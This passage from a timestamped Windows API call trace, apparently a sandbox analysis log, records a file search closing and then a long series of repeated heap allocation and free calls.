hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.820] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.820] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0116.821] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0116.821] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0116.821] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0116.821] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.821] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.821] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.822] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.822] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.823] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.823] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.824] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.824] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.825] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.826] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.826] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.827] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.827] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0116.828] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.828] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: 